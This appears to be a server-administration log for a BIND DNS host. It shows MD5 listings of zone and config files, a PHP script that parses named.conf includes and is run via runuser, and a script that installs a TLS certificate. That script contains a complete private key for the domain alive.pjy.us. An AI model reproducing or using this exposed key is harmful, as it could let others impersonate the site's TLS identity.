MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 19:39:10: Establishing a connection
2025-12-31 19:39:19: Establishing a connection
2025-12-31 19:39:19:
PUT: /tmp/pkp539197
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 19:39:19:
runuser -l bind -s /bin/bash -c '/tmp/pkp539197; rm /tmp/pkp539197'
2025-12-31 19:39:19:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 19:39:22: Establishing a connection
2025-12-31 19:39:23:
PUT: /tmp/pkp380562
#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb
cat > $temp_file <<'endmsg'
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBqRCuV/kHaUQNs8n6autgKlVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjU3WhcNMjYwMzMxMDUwMjU2WjAXMRUwEwYDVQQD
EwxhbGl2ZS5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr
k06yk15M4nC54vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7R
xmM3h5OAw8uKclOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq
10cKMQK/2Yo+8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZo
UVzyX+aGd1oV4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9
NDsu/6x++ZFDhKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R
68fXDyUTMACqMEz8Qk3RAgMBAAGjggIlMIICITAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBGY4UR8oCe1mRDshLOP7tBJcYPXMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMYWxpdmUucGp5LnVzMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODYuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbcv86hwAABAMASDBGAiEA9HJ+HVrY
dV5orry0OBpxH9GTnBNrA8tR3qgUeyGG4MwCIQDOMjtEVWACq+305ryIeCqn5qkb
iEliHLSmbMaD5l/AFQB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHi
AAABm3L/OywACAAABQAFotjFBAMARzBFAiAWg9uifZtZoWXfJAcmoCr//ZFKs9aj
KtetPXqF5sugKwIhAOfK/KXoaGtttXjuWuT26NzNBazIwpO0qAv1x3nhdAdnMA0G
CSqGSIb3DQEBCwUAA4IBAQCUp3Ltgf9rfcj9BKt2aBH3hEjja1FwN2XMsAs/bBKX
kYp1llsnBjNJ4PNn2ZYYnZun4ndQJMJTWJCxKDPGcR3QOMXPm+DXxAwAn3aOV5bm
z/ksL/59o5w2yfrSoeDec5ddG/cKkX/6zas1WXKN5ykCERtFiEzBumymb6B+jU9c
gUYq3Dpkrc51xll0dvH2y26+kPWgSyuh2oucr03UeBQFUtTepO9MCY+Wsaq67Qfq
W2O2tBhXcIOb3l3xIAo6n3lSPCLGEo+FPTro0ob3Y9d7qh8DdFEo4otE3JmOxRTo
JDevasbMR/j+9bWm2jUeGh0RSFM2KGmlafNidXMv65g2
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrk06yk15M4nC5
4vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7RxmM3h5OAw8uK
clOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq10cKMQK/2Yo+
8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZoUVzyX+aGd1oV
4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9NDsu/6x++ZFD
hKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R68fXDyUTMACq
MEz8Qk3RAgMBAAECggEAM1e//5E48WH7oKyqqEN5EOn02BSj3Ypck6ecTUGJgPgs
tRJpWqvMLgOjuWkYXwoB7V1kGFxiR/CPaq0elGKcvfWxeiCglL0Bsh3r2SmNN5gN
3UD9+8fBEUjcUu97lEC0SUaFlCepbnavN3oyEPqqqku1l4wkGWWlXeq0A66aRI45
9z1L7B1NyniGBU8odG9QWLT8a5Wqr+gwh2uJN76XGEDlKUYjTIPS7ciCIpqQl7L2
lQBD0iVbwHZOGDFC04CJ2IUuRyzTx1Umq2q3TIcLYpO39QbRVxH7STrF2dzlGJuK
wTjl03zeSa7gjWbcds0CAUoWN9w3MGrsBPKBhXFPPwKBgQDa/yNhlUZ/C+lo6lpT
rZ9kM1+Idhm6EVIjaKp2J85AfwystEL5Qnfp4RlGaE3Vjh9IPu9WmDScNDcN7NgU
lnDQqCY/ePlwlLgHAll5bN/nmDiOQYoEPZo9kpvKPpoCwPGG4/WeC2eW7A/T4yzD
HiWEr4ZtNAMMlv7mDAqWXRETVwKBgQDIkO3uvm19RZ8jBRbpy/TdFSX6M+rE4Gh6
vIn9BPm7xVlsLqdd0ytasBbCKCNKXfk1+Up9okk4kj6D+MpK2matbQnfvuLnuVhg
ktpY0ucPEfav1itxIzFWhbon0EjFQ8MP/ICuHk5jk1G2UgoDp6cvg/pwUCNtob0r
aAbjRbFXFwKBgQCE7YEoZleYHj7bdATH7gdl5tkCF82d542X+JwfhCHpfDTRT8mn
SvVGfV++IOm9yrqqO6lDQrgMaJVSWoT+WiK4RJiSxneCIoNhncd5sOBnzznk/1sr
H8lTvn3Z0Q3ixgLVAeHAwONr9HXXA3nUJaRYWcKa3otLRQwLzxtOEcefmQKBgQCL
wcm6OgGLcE8ilPJReeingYwUG8c05vaGyAgTQjtO54aXRq8jRvmH2PoS0us8b90v
CgYpI0OIYwei6GL149f2cuuVeKseM13s9Yemq1eMfcT64+8jiBViKA7+nTmIE97B
rf5w1fdjlY0z0VjfER0DlCCX0I/PXgu2Sme6SJ75gwKBgQDWZR2Fa4C0fyASXW6f
UgfW9HXHdN5q3sv4WFqPvArKTHJlx3B6LvOL2yZLGW1rnnI8tPiZw8LOYYYzmfpV
miWSHTy8XKJMtWJY/dG+YV2G+gbNVqeKd1kEKeYl6evAfZhcBlUHKqn1vPPPkKAz
+ilf+BPfiIWUFBp6ZA92v4qhXw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
